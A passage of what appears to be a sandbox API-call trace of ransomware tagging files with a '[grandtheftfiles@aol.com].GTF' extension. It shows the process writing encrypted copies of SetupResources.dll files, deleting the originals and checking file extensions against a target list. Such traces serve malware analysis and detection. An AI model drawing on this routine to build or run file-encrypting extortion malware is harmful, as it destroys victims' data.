	[0068.053] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1037\\SetupResources.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\588bce7c90097ed212\\1037\\setupresources.dll.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0068.053] GetLastError () returned 0x0
	[0068.053] ReadFile (in: hFile=0x338, lpBuffer=0x3d56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesRead=0x38dfecc*=0x4158, lpOverlapped=0x0) returned 1
	[0068.076] WriteFile (in: hFile=0x35c, lpBuffer=0x3d56020*, nNumberOfBytesToWrite=0x4160, lpNumberOfBytesWritten=0x38dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesWritten=0x38dfc94*=0x4160, lpOverlapped=0x0) returned 1
	[0068.077] ReadFile (in: hFile=0x338, lpBuffer=0x3d56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesRead=0x38dfecc*=0x0, lpOverlapped=0x0) returned 1
	[0068.077] WriteFile (in: hFile=0x35c, lpBuffer=0x3d56020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x38dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesWritten=0x38dfc94*=0xf8, lpOverlapped=0x0) returned 1
	[0068.077] SetEndOfFile (hFile=0x35c) returned 1
	[0068.077] CloseHandle (hObject=0x35c) returned 1
	[0068.079] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0068.079] SetEndOfFile (hFile=0x338) returned 1
	[0068.080] CloseHandle (hObject=0x338) returned 1
	[0068.080] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1037\\SetupResources.dll.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x80) returned 1
	[0068.080] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1037\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1037\\setupresources.dll")) returned 1
	[0068.080] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\SetupResources.dll") returned 45
	[0068.080] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\SetupResources.dll") returned 45
	[0068.080] lstrlenW (lpString=".doc") returned 4
	[0068.081] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0068.081] lstrlenW (lpString=".docx") returned 5
	[0068.081] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0068.081] lstrlenW (lpString=".pdf") returned 4
	[0068.081] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0068.081] lstrlenW (lpString=".xls") returned 4
	[0068.081] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0068.081] lstrlenW (lpString=".xlsx") returned 5
	[0068.081] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0068.081] lstrlenW (lpString=".ppt") returned 4
	[0068.081] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0068.081] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\SetupResources.dll") returned 45
	[0068.081] lstrlenW (lpString=".zip") returned 4
	[0068.081] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0068.081] lstrlenW (lpString=".rar") returned 4
	[0068.081] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0068.081] lstrlenW (lpString=".bz2") returned 4
	[0068.081] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0068.081] lstrlenW (lpString=".7z") returned 3
	[0068.081] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0068.081] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\SetupResources.dll") returned 45
	[0068.081] lstrlenW (lpString=".dbf") returned 4
	[0068.081] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0068.081] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\SetupResources.dll") returned 45
	[0068.081] lstrlenW (lpString=".1cd") returned 4
	[0068.081] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0068.081] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\SetupResources.dll") returned 45
	[0068.081] lstrlenW (lpString=".jpg") returned 4
	[0068.081] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0068.081] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\SetupResources.dll") returned 45
	[0068.081] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\SetupResources.dll") returned 45
	[0068.081] lstrlenW (lpString=".doc") returned 4
	[0068.081] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0068.081] lstrlenW (lpString=".docx") returned 5
	[0068.081] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0068.082] lstrlenW (lpString=".pdf") returned 4
	[0068.082] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0068.082] lstrlenW (lpString=".xls") returned 4
	[0068.082] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0068.082] lstrlenW (lpString=".xlsx") returned 5
	[0068.082] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0068.082] lstrlenW (lpString=".ppt") returned 4
	[0068.082] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0068.082] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\SetupResources.dll") returned 45
	[0068.082] lstrlenW (lpString=".zip") returned 4
	[0068.082] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0068.082] lstrlenW (lpString=".rar") returned 4
	[0068.082] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0068.082] lstrlenW (lpString=".bz2") returned 4
	[0068.082] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0068.082] lstrlenW (lpString=".7z") returned 3
	[0068.082] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0068.082] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\SetupResources.dll") returned 45
	[0068.082] lstrlenW (lpString=".dbf") returned 4
	[0068.082] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0068.082] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\SetupResources.dll") returned 45
	[0068.082] lstrlenW (lpString=".1cd") returned 4
	[0068.082] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0068.082] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\SetupResources.dll") returned 45
	[0068.082] lstrlenW (lpString=".jpg") returned 4
	[0068.082] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0068.082] lstrcmpiW (lpString1=".dll", lpString2=".GTF") returned -1
	[0068.082] lstrlenW (lpString="SetupResources.dll") returned 18
	[0068.082] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1041\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1041\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0068.083] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x38dff14 | out: lpFileSize=0x38dff14*=15704) returned 1
	[0068.083] CloseHandle (hObject=0x338) returned 1
	[0068.085] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1041\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1041\\setupresources.dll")) returned 0x80
	[0068.085] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1041\\SetupResources.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\588bce7c90097ed212\\1041\\setupresources.dll.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0068.085] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1041\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1041\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0068.085] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0068.086] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0068.086] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1041\\SetupResources.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\588bce7c90097ed212\\1041\\setupresources.dll.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0068.086] GetLastError () returned 0x0
	[0068.086] ReadFile (in: hFile=0x338, lpBuffer=0x3d56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesRead=0x38dfecc*=0x3d58, lpOverlapped=0x0) returned 1
	[0068.150] WriteFile (in: hFile=0x35c, lpBuffer=0x3d56020*, nNumberOfBytesToWrite=0x3d60, lpNumberOfBytesWritten=0x38dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesWritten=0x38dfc94*=0x3d60, lpOverlapped=0x0) returned 1
	[0068.151] ReadFile (in: hFile=0x338, lpBuffer=0x3d56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesRead=0x38dfecc*=0x0, lpOverlapped=0x0) returned 1
	[0068.151] WriteFile (in: hFile=0x35c, lpBuffer=0x3d56020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x38dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesWritten=0x38dfc94*=0xf8, lpOverlapped=0x0) returned 1
	[0068.151] SetEndOfFile (hFile=0x35c) returned 1
	[0068.151] CloseHandle (hObject=0x35c) returned 1
	[0068.152] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0068.153] SetEndOfFile (hFile=0x338) returned 1
	[0068.153] CloseHandle (hObject=0x338) returned 1
	[0068.153] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1041\\SetupResources.dll.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x80) returned 1
	[0068.154] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1041\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1041\\setupresources.dll")) returned 1
	[0068.154] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\SetupResources.dll") returned 45
	[0068.154] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\SetupResources.dll") returned 45
	[0068.154] lstrlenW (lpString=".doc") returned 4
	[0068.154] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0068.154] lstrlenW (lpString=".docx") returned 5
	[0068.154] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0068.154] lstrlenW (lpString=".pdf") returned 4
	[0068.154] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0068.154] lstrlenW (lpString=".xls") returned 4
	[0068.154] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0068.154] lstrlenW (lpString=".xlsx") returned 5
	[0068.154] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0068.154] lstrlenW (lpString=".ppt") returned 4
	[0068.154] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0068.154] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\SetupResources.dll") returned 45
	[0068.154] lstrlenW (lpString=".zip") returned 4
	[0068.154] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0068.154] lstrlenW (lpString=".rar") returned 4
	[0068.154] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0068.154] lstrlenW (lpString=".bz2") returned 4
	[0068.155] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0068.155] lstrlenW (lpString=".7z") returned 3
	[0068.155] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0068.155] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\SetupResources.dll") returned 45
	[0068.155] lstrlenW (lpString=".dbf") returned 4
	[0068.155] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0068.155] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\SetupResources.dll") returned 45
	[0068.155] lstrlenW (lpString=".1cd") returned 4
	[0068.155] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0068.155] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\SetupResources.dll") returned 45
	[0068.155] lstrlenW (lpString=".jpg") returned 4
	[0068.155] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0068.155] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\SetupResources.dll") returned 45
	[0068.155] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\SetupResources.dll") returned 45
	[0068.155] lstrlenW (lpString=".doc") returned 4
	[0068.155] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0068.155] lstrlenW (lpString=".docx") returned 5
	[0068.155] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0068.155] lstrlenW (lpString=".pdf") returned 4
	[0068.155] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0068.155] lstrlenW (lpString=".xls") returned 4
	[0068.155] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0068.155] lstrlenW (lpString=".xlsx") returned 5
	[0068.155] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0068.155] lstrlenW (lpString=".ppt") returned 4
	[0068.155] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0068.155] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\SetupResources.dll") returned 45
	[0068.155] lstrlenW (lpString=".zip") returned 4
	[0068.155] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0068.155] lstrlenW (lpString=".rar") returned 4
	[0068.155] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0068.155] lstrlenW (lpString=".bz2") returned 4
	[0068.155] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0068.155] lstrlenW (lpString=".7z") returned 3
	[0068.155] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0068.156] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\SetupResources.dll") returned 45
	[0068.156] lstrlenW (lpString=".dbf") returned 4
	[0068.156] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0068.156] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\SetupResources.dll") returned 45
	[0068.156] lstrlenW (lpString=".1cd") returned 4
	[0068.156] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0068.156] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\SetupResources.dll") returned 45
	[0068.156] lstrlenW (lpString=".jpg") returned 4
	[0068.156] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0068.156] lstrcmpiW (lpString1=".dll", lpString2=".GTF") returned -1
	[0068.156] lstrlenW (lpString="SetupResources.dll") returned 18
	[0068.156] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1042\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1042\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0068.156] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x38dff14 | out: lpFileSize=0x38dff14*=15192) returned 1
	[0068.156] CloseHandle (hObject=0x338) returned 1
	[0068.156] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1042\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1042\\setupresources.dll")) returned 0x80
	[0068.156] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1042\\SetupResources.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\588bce7c90097ed212\\1042\\setupresources.dll.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0068.156] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1042\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1042\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0068.156] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0068.157] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0068.157] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1042\\SetupResources.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\588bce7c90097ed212\\1042\\setupresources.dll.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0068.157] GetLastError () returned 0x0
	[0068.157] ReadFile (in: hFile=0x338, lpBuffer=0x3d56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesRead=0x38dfecc*=0x3b58, lpOverlapped=0x0) returned 1
	[0068.243] WriteFile (in: hFile=0x35c, lpBuffer=0x3d56020*, nNumberOfBytesToWrite=0x3b60, lpNumberOfBytesWritten=0x38dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesWritten=0x38dfc94*=0x3b60, lpOverlapped=0x0) returned 1
	[0068.245] ReadFile (in: hFile=0x338, lpBuffer=0x3d56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesRead=0x38dfecc*=0x0, lpOverlapped=0x0) returned 1
	[0068.245] WriteFile (in: hFile=0x35c, lpBuffer=0x3d56020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x38dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesWritten=0x38dfc94*=0xf8, lpOverlapped=0x0) returned 1
	[0068.245] SetEndOfFile (hFile=0x35c) returned 1
	[0068.245] CloseHandle (hObject=0x35c) returned 1
	[0068.246] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0068.246] SetEndOfFile (hFile=0x338) returned 1
	[0068.247] CloseHandle (hObject=0x338) returned 1
	[0068.247] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1042\\SetupResources.dll.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x80) returned 1
	[0068.247] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1042\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1042\\setupresources.dll")) returned 1
	[0068.248] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\SetupResources.dll") returned 45
	[0068.248] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\SetupResources.dll") returned 45
	[0068.248] lstrlenW (lpString=".doc") returned 4
	[0068.248] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0068.248] lstrlenW (lpString=".docx") returned 5
	[0068.248] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0068.248] lstrlenW (lpString=".pdf") returned 4
	[0068.248] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0068.248] lstrlenW (lpString=".xls") returned 4
	[0068.248] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0068.248] lstrlenW (lpString=".xlsx") returned 5
	[0068.248] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0068.248] lstrlenW (lpString=".ppt") returned 4
	[0068.248] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0068.248] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\SetupResources.dll") returned 45
	[0068.248] lstrlenW (lpString=".zip") returned 4
	[0068.248] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0068.248] lstrlenW (lpString=".rar") returned 4
	[0068.248] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0068.248] lstrlenW (lpString=".bz2") returned 4
	[0068.248] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0068.248] lstrlenW (lpString=".7z") returned 3
	[0068.248] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0068.248] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\SetupResources.dll") returned 45
	[0068.248] lstrlenW (lpString=".dbf") returned 4
	[0068.248] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0068.248] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\SetupResources.dll") returned 45
	[0068.248] lstrlenW (lpString=".1cd") returned 4
	[0068.248] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0068.249] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\SetupResources.dll") returned 45
	[0068.249] lstrlenW (lpString=".jpg") returned 4
	[0068.249] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0068.249] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\SetupResources.dll") returned 45
	[0068.249] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\SetupResources.dll") returned 45
	[0068.249] lstrlenW (lpString=".doc") returned 4
	[0068.249] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0068.249] lstrlenW (lpString=".docx") returned 5
	[0068.249] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0068.249] lstrlenW (lpString=".pdf") returned 4
	[0068.249] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0068.249] lstrlenW (lpString=".xls") returned 4
	[0068.249] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0068.249] lstrlenW (lpString=".xlsx") returned 5
	[0068.249] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0068.249] lstrlenW (lpString=".ppt") returned 4
	[0068.249] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0068.249] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\SetupResources.dll") returned 45
	[0068.249] lstrlenW (lpString=".zip") returned 4
	[0068.249] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0068.249] lstrlenW (lpString=".rar") returned 4
	[0068.249] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0068.249] lstrlenW (lpString=".bz2") returned 4
	[0068.249] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0068.249] lstrlenW (lpString=".7z") returned 3
	[0068.249] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0068.249] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\SetupResources.dll") returned 45
	[0068.249] lstrlenW (lpString=".dbf") returned 4
	[0068.249] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0068.249] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\SetupResources.dll") returned 45
	[0068.249] lstrlenW (lpString=".1cd") returned 4
	[0068.249] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0068.249] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\SetupResources.dll") returned 45
	[0068.249] lstrlenW (lpString=".jpg") returned 4
	[0068.249] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0068.250] lstrcmpiW (lpString1=".dll", lpString2=".GTF") returned -1
	[0068.250] lstrlenW (lpString="SetupResources.dll") returned 18
	[0068.250] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1043\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1043\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0068.323] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x38dff14 | out: lpFileSize=0x38dff14*=19288) returned 1
	[0068.323] CloseHandle (hObject=0x2d4) returned 1
	[0068.324] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1043\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1043\\setupresources.dll")) returned 0x80
	[0068.324] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1043\\SetupResources.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\588bce7c90097ed212\\1043\\setupresources.dll.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0068.324] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1043\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1043\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0068.324] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0068.324] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0068.324] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1043\\SetupResources.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\588bce7c90097ed212\\1043\\setupresources.dll.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0068.324] GetLastError () returned 0x0
	[0068.324] ReadFile (in: hFile=0x2d4, lpBuffer=0x3d56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesRead=0x38dfecc*=0x4b58, lpOverlapped=0x0) returned 1
	[0068.341] WriteFile (in: hFile=0x320, lpBuffer=0x3d56020*, nNumberOfBytesToWrite=0x4b60, lpNumberOfBytesWritten=0x38dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesWritten=0x38dfc94*=0x4b60, lpOverlapped=0x0) returned 1
	[0068.342] ReadFile (in: hFile=0x2d4, lpBuffer=0x3d56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesRead=0x38dfecc*=0x0, lpOverlapped=0x0) returned 1
	[0068.342] WriteFile (in: hFile=0x320, lpBuffer=0x3d56020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x38dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesWritten=0x38dfc94*=0xf8, lpOverlapped=0x0) returned 1
	[0068.342] SetEndOfFile (hFile=0x320) returned 1
	[0068.342] CloseHandle (hObject=0x320) returned 1
	[0068.343] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0068.343] SetEndOfFile (hFile=0x2d4) returned 1
	[0068.344] CloseHandle (hObject=0x2d4) returned 1
	[0068.344] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1043\\SetupResources.dll.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x80) returned 1
